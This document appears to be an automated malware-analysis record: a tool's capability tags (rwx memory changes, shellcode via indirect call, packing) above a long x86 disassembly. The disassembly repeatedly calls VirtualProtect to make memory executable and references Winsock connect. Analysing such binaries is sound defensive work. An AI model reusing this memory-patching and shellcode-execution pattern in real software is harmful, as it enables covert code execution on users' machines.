Function at 0x408f60
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
push 0x1c
call fcn.0049c651
add esp, 4
mov dword [ebp - 0x10], eax
mov ebx, eax
mov edi, eax
xor eax, eax
mov ecx, 7
rep stosd dword es:[edi], eax
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0
push 8
call fcn.0049c651
add esp, 4
mov dword [ebp - 0x24], eax
mov edi, eax
mov esi, 0x4ae221
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x2c], 0
jmp 0x408ff2
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pushal
mov eax, 1
mov eax, 2
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 6
popal
cmp dword [0x4b4e08], 0
je 0x40903f
jmp 0x409ff4
call fcn.0040a0d7
test eax, eax
je 0x40905b
mov dword [0x4b4e08], 1
jmp 0x409ff4
mov eax, 0x4ae72c
test eax, eax
je 0x409077
push eax
mov eax, dword [eax + 4]
add eax, 8
push eax
call fcn.0049c651
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x409088
push ebx
call fcn.0049c657
add esp, 4
pop eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x30], esp
lea eax, [ebp - 8]
push eax
push 0x40
push 0x1770
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
nop
cmp dword [ebp - 0x30], esp
je 0x4090c6
push 0x187
push 0x402c989
push 6
call fcn.0049c65d
add esp, 0xc
mov dword [ebp - 0x30], 0
push 0
lea eax, [ebp - 0x30]
push eax
push 0x1770
push dword [ebp + 8]
push 0xffffffff
call fcn.0040a1f3
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
push eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x4090fc
push ebx
call fcn.0049c657
add esp, 4
pop eax
mov dword [ebp - 0xc], eax
push dword [ebp - 4]
push 0x4ae742
mov ecx, 2
call fcn.004018c3
add esp, 8
mov dword [ebp - 0x30], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x409131
mov eax, 0x4ae221
push eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x409145
mov eax, 0x4ae221
push eax
push 3
mov ebx, 0x1ac
call fcn.0049f460
add esp, 0x28
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x40916b
push ebx
call fcn.0049c657
add esp, 4
cmp dword [ebp - 0x34], 0xffffffff
je 0x4091f7
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4ae74d
push 0x80000301
push 0
push 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x4ae76f
push 4
mov ebx, 0x300
call fcn.0049de50
add esp, 0x34
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4ae74d
push 0x80000301
push 0
push 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x4ae76f
push 4
mov ebx, 0x300
call fcn.0049de50
add esp, 0x34
mov dword [0x4b4e08], 1
cmp dword [0x4b4e08], 0
jne 0x409fbb
fild dword [ebp + 8]
fstp qword [ebp - 0x34]
fld qword [ebp - 0x34]
fsub qword [0x4ae7a9]
fstp qword [ebp - 0x3c]
mov dword [ebp - 0x40], esp
lea eax, [ebp - 8]
push eax
push 0x40
push 1
fld qword [ebp - 0x3c]
call fcn.0040191a
push eax
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
nop
cmp dword [ebp - 0x40], esp
je 0x409256
push 0x440
push 0x402c989
push 6
call fcn.0049c65d
add esp, 0xc
fild dword [ebp + 8]
fstp qword [ebp - 0x34]
fld qword [ebp - 0x34]
fsub qword [0x4ae7a9]
fstp qword [ebp - 0x3c]
push 0x80000301
push 0
push 1
fld qword [ebp - 0x3c]
call fcn.0040191a
push 0x80000301
push 0
push eax
push 2
mov ebx, 0x910
call fcn.0049f5d0
add esp, 0x1c
mov dword [ebp - 0x40], eax
mov eax, 0x4ae7b1
xor ecx, ecx
test eax, eax
je 0x4092a7
mov ecx, dword [eax + 4]
push ecx
add eax, 8
push eax
mov eax, dword [ebp - 0x40]
xor ebx, ebx
test eax, eax
je 0x4092b8
mov ebx, dword [eax + 4]
add eax, 8
push eax
cmp ebx, ecx
mov eax, 1
jne 0x4092cf
dec eax
test ecx, ecx
je 0x4092cf
call fcn.00408eb4
add esp, 0xc
test eax, eax
mov eax, 0
sete al
mov dword [ebp - 0x44], eax
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x4092ef
push ebx
call fcn.0049c657
add esp, 4
cmp dword [ebp - 0x44], 0
je 0x40937b
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4ae74d
push 0x80000301
push 0
push 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x4ae7ba
push 4
mov ebx, 0x300
call fcn.0049de50
add esp, 0x34
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4ae74d
push 0x80000301
push 0
push 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x4ae7ba
push 4
mov ebx, 0x300
call fcn.0049de50
add esp, 0x34
mov dword [0x4b4e08], 1
cmp dword [0x4b4e08], 0
jne 0x409fbb
fild dword [ebp + 8]
fstp qword [ebp - 0x34]
fld qword [ebp - 0x34]
fsub qword [0x4ae7a9]
fstp qword [ebp - 0x3c]
mov dword [ebp - 0x40], esp
push 0x1c
push dword [ebp - 0x10]
fld qword [ebp - 0x3c]
call fcn.0040191a
push eax
xor eax, eax
call dword [0x4b5060]
nop
nop
cmp dword [ebp - 0x40], esp
je 0x4093d4
push 0x6bf
push 0x402c989
push 6
call fcn.0049c65d
add esp, 0xc
mov ebx, dword [ebp - 0x10]
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x10]
add ebx, 0xc
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x38], esp
lea eax, [ebp - 8]
push eax
push 0x40
mov ebx, dword [ebp - 0x34]
push dword [ebx]
mov ebx, dword [ebp - 0x30]
push dword [ebx]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
nop
cmp dword [ebp - 0x38], esp
je 0x40941f
push 0x6f3
push 0x402c989
push 6
call fcn.0049c65d
add esp, 0xc
mov ebx, dword [ebp - 0x10]
add ebx, 4
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x10]
add ebx, 0xc
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x38], esp
lea eax, [ebp - 8]
push eax
push 0x40
mov ebx, dword [ebp - 0x34]
push dword [ebx]
mov ebx, dword [ebp - 0x30]
push dword [ebx]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
nop
cmp dword [ebp - 0x38], esp
je 0x40946d
push 0x736
push 0x402c989
push 6
call fcn.0049c65d
add esp, 0xc
fild dword [ebp + 8]
fstp qword [ebp - 0x34]
fld qword [ebp - 0x34]
fsub qword [0x4ae7f4]
fstp qword [ebp - 0x3c]
mov dword [ebp - 0x40], esp
lea eax, [ebp - 8]
push eax
push 0x40
push 0x1388
fld qword [ebp - 0x3c]
call fcn.0040191a
push eax
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
nop
cmp dword [ebp - 0x40], esp
je 0x4094bf
push 0x78b
push 0x402c989
push 6
call fcn.0049c65d
add esp, 0xc
mov dword [ebp - 0x30], esp
lea eax, [ebp - 8]
push eax
push 0x40
push 0x1388
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
nop
cmp dword [ebp - 0x30], esp
je 0x4094f9
push 0x7c8
push 0x402c989
push 6
call fcn.0049c65d
add esp, 0xc
mov ebx, dword [ebp - 0x10]
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x10]
add ebx, 0xc
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x38], 0
push 0
lea eax, [ebp - 0x38]
push eax
mov ebx, dword [ebp - 0x34]
push dword [ebx]
mov ebx, dword [ebp - 0x30]
push dword [ebx]
push 0xffffffff
call fcn.0040a1f3
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
push eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x409540
push ebx
call fcn.0049c657
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp - 0x10]
add ebx, 4
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x30]
fild dword [ebx]
fstp qword [ebp - 0x38]
fld qword [ebp - 0x38]
fadd qword [0x4ae7fc]
fstp qword [ebp - 0x40]
mov ebx, dword [ebp - 0x10]
add ebx, 0xc
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x48], 0
push 0
lea eax, [ebp - 0x48]
push eax
mov ebx, dword [ebp - 0x44]
push dword [ebx]
fld qword [ebp - 0x40]
call fcn.0040191a
push eax
push 0xffffffff
call fcn.0040a1f3
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
push eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x4095a6
push ebx
call fcn.0049c657
add esp, 4
pop eax
mov dword [ebp - 0x18], eax
fild dword [ebp + 8]
fstp qword [ebp - 0x34]
fld qword [ebp - 0x34]
fsub qword [0x4ae7f4]
fstp qword [ebp - 0x3c]
mov dword [ebp - 0x40], 0
push 0
lea eax, [ebp - 0x40]
push eax
push 0x1770
fld qword [ebp - 0x3c]
call fcn.0040191a
push eax
push 0xffffffff
call fcn.0040a1f3
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
push eax
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x4095f8
push ebx
call fcn.0049c657
add esp, 4
pop eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x30], 0
push 0
lea eax, [ebp - 0x30]
push eax
push 0x1770
push dword [ebp + 8]
push 0xffffffff
call fcn.0040a1f3
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
push eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x409632
push ebx
call fcn.0049c657
add esp, 4
pop eax
mov dword [ebp - 0x20], eax
push 1
lea eax, [ebp - 0x24]
push eax
mov dword [ebp - 0x30], 0
push 0
push dword [ebp - 0x30]
call fcn.0040a2b8
xor ecx, ecx
push eax
lea eax, [ebp - 0x28]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x409a40
mov ebx, dword [ebp - 0x24]
call fcn.004029a7
push ebx
push ecx
mov eax, dword [ebp - 0x28]
dec eax
jns 0x40968b
push 0x9b2
push 0x402c989
push 4
call fcn.0049c65d
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x4096a8
push 0x9b2
push 0x402c989
push 1
call fcn.0049c65d
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x1c
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x30]
mov eax, dword [ebx]
cmp dword [ebp + 8], eax
jle 0x409a38
mov ebx, dword [ebp - 0x24]
call fcn.004029a7
push ebx
push ecx
mov eax, dword [ebp - 0x28]
dec eax
jns 0x4096ea
push 0xa0f
push 0x402c989
push 4
call fcn.0049c65d
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x409707
push 0xa0f
push 0x402c989
push 1
call fcn.0049c65d
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x1c
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x24]
call fcn.004029a7
push ebx
push ecx
mov eax, dword [ebp - 0x28]
dec eax
jns 0x40973b
push 0xa0f
push 0x402c989
push 4
call fcn.0049c65d
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x409758
push 0xa0f
push 0x402c989
push 1
call fcn.0049c65d
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x18
mov dword [ebp - 0x34], ebx
mov ebx, dword [ebp - 0x30]
fild dword [ebx]
fstp qword [ebp - 0x3c]
fld qword [ebp - 0x3c]
mov ebx, dword [ebp - 0x34]
fild dword [ebx]
fstp qword [ebp - 0x44]
fadd qword [ebp - 0x44]
fstp qword [ebp - 0x4c]
fild dword [ebp + 8]
fstp qword [ebp - 0x54]
fld qword [ebp - 0x54]
fsub qword [ebp - 0x4c]
fcomp qword [0x4ae657]
fnstsw ax
test ah, 1
je 0x409a38
mov ebx, dword [ebp - 0x24]
call fcn.004029a7
push ebx
push ecx
mov eax, dword [ebp - 0x28]
dec eax
jns 0x4097c2
push 0xa52
push 0x402c989
push 4
call fcn.0049c65d
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x4097df
push 0xa52
push 0x402c989
push 1
call fcn.0049c65d
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x1c
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x24]
call fcn.004029a7
push ebx
push ecx
mov eax, dword [ebp - 0x28]
dec eax
jns 0x409813
push 0xa52
push 0x402c989
push 4
call fcn.0049c65d
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x409830
push 0xa52
push 0x402c989
push 1
call fcn.0049c65d
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x18
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x38], esp
lea eax, [ebp - 8]
push eax
push 0x40
mov ebx, dword [ebp - 0x34]
push dword [ebx]
mov ebx, dword [ebp - 0x30]
push dword [ebx]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
nop
cmp dword [ebp - 0x38], esp
je 0x409879
push 0xa52
push 0x402c989
push 6
call fcn.0049c65d
add esp, 0xc
mov ebx, dword [ebp - 0x24]
call fcn.004029a7
push ebx
push ecx
mov eax, dword [ebp - 0x28]
dec eax
jns 0x4098a0
push 0xabc
push 0x402c989
push 4
call fcn.0049c65d
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x4098bd
push 0xabc
push 0x402c989
push 1
call fcn.0049c65d
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x1c
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x24]
call fcn.004029a7
push ebx
push ecx
mov eax, dword [ebp - 0x28]
dec eax
jns 0x4098f1
push 0xabc
push 0x402c989
push 4
call fcn.0049c65d
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x40990e
push 0xabc
push 0x402c989
push 1
call fcn.0049c65d
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x18
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x38], 0
push 0
lea eax, [ebp - 0x38]
push eax
mov ebx, dword [ebp - 0x34]
push dword [ebx]
mov ebx, dword [ebp - 0x30]
push dword [ebx]
push 0xffffffff
call fcn.0040a1f3
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
push eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x409953
push ebx
call fcn.0049c657
add esp, 4
pop eax
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x24]
call fcn.004029a7
push ebx
push ecx
mov eax, dword [ebp - 0x28]
dec eax
jns 0x40997e
push 0xb07
push 0x402c989
push 4
call fcn.0049c65d
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x40999b
push 0xb07
push 0x402c989
push 1
call fcn.0049c65d
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x1c
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x24]
call fcn.004029a7
push ebx
push ecx
mov eax, dword [ebp - 0x28]
dec eax
jns 0x4099cf
push 0xb07
push 0x402c989
push 4
call fcn.0049c65d
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x4099ec
push 0xb07
push 0x402c989
push 1
call fcn.0049c65d
add esp, 0xc
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x18
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x38], esp
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
mov ebx, dword [ebp - 0x34]
push dword [ebx]
mov ebx, dword [ebp - 0x30]
push dword [ebx]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
nop
cmp dword [ebp - 0x38], esp
je 0x409a33
push 0xb07
push 0x402c989
push 6
call fcn.0049c65d
add esp, 0xc
jmp 0x409a40
pop eax
pop ebx
pop ecx
jmp 0x409656
add esp, 0xc
cmp dword [0x4b4e08], 0
jne 0x409acc
push dword [ebp - 4]
push 0x4ae742
mov ecx, 2
call fcn.004018c3
add esp, 8
mov dword [ebp - 0x34], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x409a81
mov eax, 0x4ae221
push eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x409a95
mov eax, 0x4ae221
push eax
push 3
mov ebx, 0x1ac
call fcn.0049f460
add esp, 0x28
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x409abb
push ebx
call fcn.0049c657
add esp, 4
cmp dword [ebp - 0x38], 0xffffffff
je 0x409acc
mov eax, 1
jmp 0x409ad1
mov eax, 0
test eax, eax
je 0x409b5b
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4ae74d
push 0x80000301
push 0
push 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x4ae804
push 4
mov ebx, 0x300
call fcn.0049de50
add esp, 0x34
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4ae74d
push 0x80000301
push 0
push 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x4ae804
push 4
mov ebx, 0x300
call fcn.0049de50
add esp, 0x34
mov dword [0x4b4e08], 1
cmp dword [0x4b4e08], 0
jne 0x409be4
push dword [ebp - 4]
push 0x4ae742
mov ecx, 2
call fcn.004018c3
add esp, 8
mov dword [ebp - 0x34], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x409b99
mov eax, 0x4ae221
push eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x409bad
mov eax, 0x4ae221
push eax
push 3
mov ebx, 0x1ac
call fcn.0049f460
add esp, 0x28
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x409bd3
push ebx
call fcn.0049c657
add esp, 4
cmp dword [ebp - 0x38], 0xffffffff
je 0x409be4
mov eax, 1
jmp 0x409be9
mov eax, 0
test eax, eax
je 0x409c73
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4ae74d
push 0x80000301
push 0
push 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x4ae83e
push 4
mov ebx, 0x300
call fcn.0049de50
add esp, 0x34
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4ae74d
push 0x80000301
push 0
push 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x4ae83e
push 4
mov ebx, 0x300
call fcn.0049de50
add esp, 0x34
mov dword [0x4b4e08], 1
cmp dword [0x4b4e08], 0
jne 0x409cfc
push dword [ebp - 4]
push 0x4ae742
mov ecx, 2
call fcn.004018c3
add esp, 8
mov dword [ebp - 0x34], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x409cb1
mov eax, 0x4ae221
push eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x409cc5
mov eax, 0x4ae221
push eax
push 3
mov ebx, 0x1ac
call fcn.0049f460
add esp, 0x28
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x409ceb
push ebx
call fcn.0049c657
add esp, 4
cmp dword [ebp - 0x38], 0xffffffff
je 0x409cfc
mov eax, 1
jmp 0x409d01
mov eax, 0
test eax, eax
je 0x409d8b
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4ae74d
push 0x80000301
push 0
push 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x4ae878
push 4
mov ebx, 0x300
call fcn.0049de50
add esp, 0x34
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4ae74d
push 0x80000301
push 0
push 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x4ae878
push 4
mov ebx, 0x300
call fcn.0049de50
add esp, 0x34
mov dword [0x4b4e08], 1
cmp dword [0x4b4e08], 0
jne 0x409e14
push dword [ebp - 4]
push 0x4ae742
mov ecx, 2
call fcn.004018c3
add esp, 8
mov dword [ebp - 0x34], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x409dc9
mov eax, 0x4ae221
push eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x409ddd
mov eax, 0x4ae221
push eax
push 3
mov ebx, 0x1ac
call fcn.0049f460
add esp, 0x28
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x409e03
push ebx
call fcn.0049c657
add esp, 4
cmp dword [ebp - 0x38], 0xffffffff
je 0x409e14
mov eax, 1
jmp 0x409e19
mov eax, 0
test eax, eax
je 0x409ea3
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4ae74d
push 0x80000301
push 0
push 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x4ae8b2
push 4
mov ebx, 0x300
call fcn.0049de50
add esp, 0x34
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4ae74d
push 0x80000301
push 0
push 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x4ae8b2
push 4
mov ebx, 0x300
call fcn.0049de50
add esp, 0x34
mov dword [0x4b4e08], 1
cmp dword [0x4b4e08], 0
jne 0x409f2c
push dword [ebp - 4]
push 0x4ae742
mov ecx, 2
call fcn.004018c3
add esp, 8
mov dword [ebp - 0x34], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x409ee1
mov eax, 0x4ae221
push eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x20]
test eax, eax
jne 0x409ef5
mov eax, 0x4ae221
push eax
push 3
mov ebx, 0x1ac
call fcn.0049f460
add esp, 0x28
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x409f1b
push ebx
call fcn.0049c657
add esp, 4
cmp dword [ebp - 0x38], 0xffffffff
je 0x409f2c
mov eax, 1
jmp 0x409f31
mov eax, 0
test eax, eax
je 0x409fbb
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4ae74d
push 0x80000301
push 0
push 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x4ae8ec
push 4
mov ebx, 0x300
call fcn.0049de50
add esp, 0x34
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4ae74d
push 0x80000301
push 0
push 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x4ae8ec
push 4
mov ebx, 0x300
call fcn.0049de50
add esp, 0x34
mov dword [0x4b4e08], 1
mov dword [0x4b4e08], 1
push ecx
push eax
mov eax, 1
mov ecx, 2
mov eax, 4
mov ecx, 2
pop eax
pop ecx
nop
jmp 0x409fee
nop
nop
nop
nop
nop
nop
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x40a004
push ebx
call fcn.0049c657
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x40a014
push ebx
call fcn.0049c657
add esp, 4
mov ebx, dword [ebp - 0x10]
push ebx
call fcn.0049c657
add esp, 4
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x40a030
push ebx
call fcn.0049c657
add esp, 4
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x40a040
push ebx
call fcn.0049c657
add esp, 4
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x40a050
push ebx
call fcn.0049c657
add esp, 4
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x40a060
push ebx
call fcn.0049c657
add esp, 4
mov ebx, dword [ebp - 0x24]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x40a07e
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x40a07a
imul eax, dword [ebx]
jmp 0x40a06f
mov ecx, eax
test ecx, ecx
je 0x40a0b9
push ecx
push ebx
mov ebx, dword [ebx]
push ebx
add ebx, 0x20
push ebx
mov ebx, dword [ebx]
push ebx
call fcn.0049c657
add esp, 4
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
push ebx
call fcn.0049c657
add esp, 4
pop ebx
call fcn.0049c657
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x40a084
call fcn.0049c657
add esp, 4
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x40a0d1
push ebx
call fcn.0049c657
add esp, 4
mov esp, ebp
pop ebp
ret 4